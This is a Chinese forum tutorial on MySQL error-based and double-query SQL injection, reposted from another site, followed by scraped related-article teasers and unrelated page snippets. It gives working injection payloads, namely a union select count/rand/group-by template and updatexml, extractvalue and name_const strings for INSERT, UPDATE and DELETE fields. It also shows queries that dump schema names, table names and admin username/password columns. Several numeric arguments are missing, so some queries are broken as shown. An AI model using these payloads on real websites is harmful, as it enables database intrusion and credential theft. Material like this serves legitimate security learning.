本文转自:http://bbs.blackbap.org/forum.php?mod=viewthread&tid=6483&highlight=mysql%2B报错注入

用SQL注入获取数据库数据,利用的方法可以大致分为联合查询、报错、布尔盲注以及延时注入,通常这些方法都是基于SELECT查询语句中的SQL注射 点来实现的。如果涉及非SELECT查询的注入,我们通常用到的就是mysql注入查询
创建一个test表
USE test;
CREATE TABLE test(num int());
INSERT INTO test VALUES();
INSERT INTO test VALUES();
INSERT INTO test VALUES();
INSERT INTO test VALUES();
SELECT * FROM test;
复制代码 主要涉及的mysql函数语句:
. Rand() #随机函数
. Floor() #取整函数
. CONUNT() #汇总函数
. Group by #分组语句
复制代码 原理:
当在一个聚合函数,比如CONUNT函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来
--源于安全研究人员 简单的例子:
use test;
复制代码 然后简单看一下CONCAT的用法
SELECT CONCAT("a","b");
复制代码 查询什么就出来什么,
下面分别看一下其它几个函数的作用
SELECT rand();
复制代码 Rand()函数,学过编程的人都应该知道是一个产生随机数的函数范围在(,)之间的浮点数 再看看floor()函数
SELECT floor(3.141216545);
复制代码 显而易见,是一个取整的函数 SELECT floor(rand()*);
复制代码 Rand()的范围是(,)*==>(,)
那么floor(rand()*)取整后就是0和1两个数
SELECT CONCAT((SELECT database()),floor(rand()*));
复制代码 如果我们将上面那句加上from某个表,就会返回test0和test1的集合,返回的长度有表的记录数决定 ,例如我们from一下test表。 返回了4行数据
那么,我们如何过滤掉这些重复的信息呢?
这里就要用到group by语句,group by的作用是:
用于结合合计函数,根据一个或多个列对结果集进行分组。
我们来查询一下
SELECT CONCAT((SELECT database()),floor(rand()*)) as a from test group by a;
复制代码 这样就不会有那么多无用的信息
简单解释一下语句:
CONCAT((SELECT database()),floor(rand()*)) as a 这个就是将列名重命名为a,看图对比一 下即可知道
Group by a就是将根据a这个列的数据,将查询出来相同的数据分到一个组里面,因此我们看 到的数据就只有两个不同的 同理,我们可以将database()换成其它你想要查询的东西,如version(),@@data等。
而我们注入的时候通常是通过mysql的information_schema这个数据库来查询信息,
查询数据名就查询schemata的SCHEMA_NAME这个列
暴库
select * from information_schema.schemata;
复制代码 里面就是我的数据名字 爆表
SELECT DISTINCT TABLE_NAME FROM information_schema.tables;
复制代码 爆列名
SELECT DISTINCT TABLE_NAME FROM information_schema.tables;
复制代码
太长了我就不截图了,自己去看看吧
爆字段就更简单了
直接查询就是
SELECT username,password FROM admin;
复制代码 假如存在这列名和表 知道这些后我们利用报错注入就可以,查询到我们想要的数据了 select count(*), concat((select version()), floor(rand()*))as a from information_schema.tables group by a;
复制代码 为了好看你可以加一些标记
select count(*), concat('--',(select user()),'--', floor(rand()*))as a from information_schema.tables group by a;
复制代码 更加高级的一点的就是,我们真正用到的双注入查询,是select的嵌套子查询,就是select里面还有一个select查询语句
通常是一种固定的格式,适用于没有回现位置和不能order by确定的注入
union select from (select+count(*),concat(floor(rand()*),( 注入爆数据语句))a from information_schema.tables group by a)b
蓝色部分就是我们之前讲的基本报错原理,而union是因为我们注入网站时,别人查询数据我 们使用union关键字进行联合查询,那如果人家使用的不是select查询呢?
如果不是select,我们可以将这个语句嵌套到里面去就可,如使用or关键字等,进行查询,同样 可以进行注入,这个比较灵活
详情可以参考一下这篇文章
http://www.exploit-db.com/wp-content/themes/exploit/docs/33253.pdf
本来想贴某云的地址的,但想想还是算了。
简单测试了一下,还是可以的,主要用到的代码是这几个 or updatexml(,concat(0x7e,(version())),) or ''
or extractvalue(,concat(0x7e,database())) or ''
or (SELECT * FROM(SELECT(name_const(version(),)),name_const(version(),))a) or ''
复制代码 主要就是三种,还有一些其他的就不贴出来了,都是放在插入、删除和更新的字段后面
简单举个例子吧 insert into test values ( or updatexml(,concat(0x7e,(version())),) or'');
复制代码 记得后面加两个单引号!
关于实例,可以论坛搜索,看30的帖子吧。这里就不做演示了
链接
http://bbs.blackbap.org/thread-2360-1-1.html
http://bbs.blackbap.org/thread-2235-1-1.html
PS:写的不好大牛勿喷,不知道排版怎么样,其实我在乎的是排版不是内容 写在最后,谢谢观看
参考文章:
http://www.cnseay.com/2363/
http://bugs.mysql.com/bug.php?id=8652
http://www.websec.ca/kb/sql_injection#MySQL_Specific_Code

【菜鸟学注入】之MySQL报错注入详解的更多相关文章

  1. SQL注入之Mysql报错注入

    --志向和热爱是伟大行为的双翼. 昨天偷懒了没学什么东西,先自我反省一下 - -. 今天认真的学习了一下Mysql报错注入利用方法及原理,好久之前就像认真的学一下这个了,是在上海市大学生网络安全大赛中 ...

  2. SQL注入之MySQL报错注入整理

    看大佬们的文章看得我虎躯一震,精神抖擞,于是心血来潮,整理一下MySQL报错注入常见的手段和方法,再举几个例子 <代码审计:企业级Web代码安全架构>一书中介绍过报错注入十大方法,依次是: ...

  3. Mysql报错注入原理分析(count()、rand()、group by)

    Mysql报错注入原理分析(count().rand().group by) 0x00 疑问 一直在用mysql数据库报错注入方法,但为何会报错? 百度谷歌知乎了一番,发现大家都是把官网的结论发一下截 ...

  4. sql注入--双查询报错注入原理探索

    目录 双查询报错注入原理探索 part 1 场景复现 part 2 形成原因 part 3 报错原理 part 4 探索小结 双查询报错注入原理探索 上一篇讲了双查询报错查询注入,后又参考了一些博客, ...

  5. sql注入--双查询报错注入

    sql注入--双查询报错注入 背景:在sqli-labs第五关时,即使sql语句构造成功页面也没有回显出我们需要的信息,看到了有使用双查询操作造成报错的方式获得数据库信息,于是研究了一下双查询的报错原 ...

  6. 又一种Mysql报错注入

    from:https://rdot.org/forum/showthread.php?t=3167 原文是俄文,所以只能大概的翻译一下 这个报错注入主要基于Mysql的数据类型溢出(不适用于老版本的M ...

  7. mysql报错注入手工方法

    以前觉得报错注入有那么一长串,还有各种concat(),rand()之类的函数,不方便记忆和使用,一直没怎么仔细的学习过.这次专门学习了一下,看了一些大牛的总结,得到一些经验,特此记录下来,以备后续巩 ...

  8. MySQL报错注入总结

    mysql暴错注入方法整理,通过floor,UpdateXml,ExtractValue,NAME_CONST,Error based Double Query Injection等方法. 报错注入: ...

  9. MySQL报错注入函数汇总及常用注入语句

    版权声明:本文转载自网络内容,下面附原创链接原创链接:https://blog.csdn.net/Auuuuuuuu/article/details/91415165 常用函数 字符串连接函数,将多个 ...

随机推荐

  1. WCF回调操作

    <?xml version="1.0" encoding="utf-8" ?> <configuration> <system.s ...

  2. github单独现在一个文件夹

    项目地址:https://github.com/src-kun/webshell/但根据需要只想下载其中一个文件夹https://github.com/src-kun/webshell/tree/ma ...

  3. insmod模块加载过程代码分析1【转】

    转自:http://blog.chinaunix.net/uid-27717694-id-3966290.html 一.概述模块是作为ELF对象文件存放在文件系统中的,并通过执行insmod程序链接到 ...

  4. kubernetes节点安装配置

    #环境安装,要与控制节点一致Centos 7 Linux release 7.3.1611网络: 互通配置主机名设置各个服务器的主机名hosts#查找kubernetes支持的docker版本Kube ...

  5. 我使用的Sublime插件及配置

    我使用的Sublime插件及配置 增强型插件 Package Control 快捷键ctrl+~,调出命令行,运行: import urllib.request,os,hashlib; h = '29 ...

  6. 【C语言】复杂类型声明

    原文地址: http://blog.csdn.net/wangweixaut061/article/details/6549768 原文不让转载,但实在是有用,就拷贝了一小部分过来.全文请点开链接. ...

  7. CF987C Three displays【一维DP/类似最大子序列和】

    [链接]:CF987C [分析]:先求出每个s[i]后面比s[i]大的c[i]的最小值,然后枚举前两个数c(i),c(j)以及 j 后面递增且存在最小值的dp(j) [代码]: #include< ...

  8. RQNOJ PID217 / [NOIP1999]拦截导弹【n^2 / LIS】

    题目描述 某国为了防御敌国的导弹袭击,发展出一种导弹拦截系统.但是这种导弹拦截系统有一个缺陷:虽然它的第一发炮弹能够到达任意的高度,但是以后每一发炮弹都不能高于前一发的高度.某天,雷达捕捉到敌国的导弹 ...

  9. poj2763(树链剖分 - 边权)

    poj2763 题意 给定一个树形图,某人原来在 s 点,每条边(路)有通过的时间花费,有两种操作:1. 查询某人到 u 点花费的时间 2. 更新某条路的时间花费. 分析 权值在边上,可以把它们 &q ...

  10. [Contest20180418]物理竞赛

    题意:在一个三维空间中有一个轴,轴上有一个垂直于轴的半径为$R$的凸透镜(光心在轴上)和$n$个点光源,假设每个点光源发出的$1$单位光都刚好覆盖凸透镜,现在有一个半径为$r$的圆形光屏,问光屏最多能 ...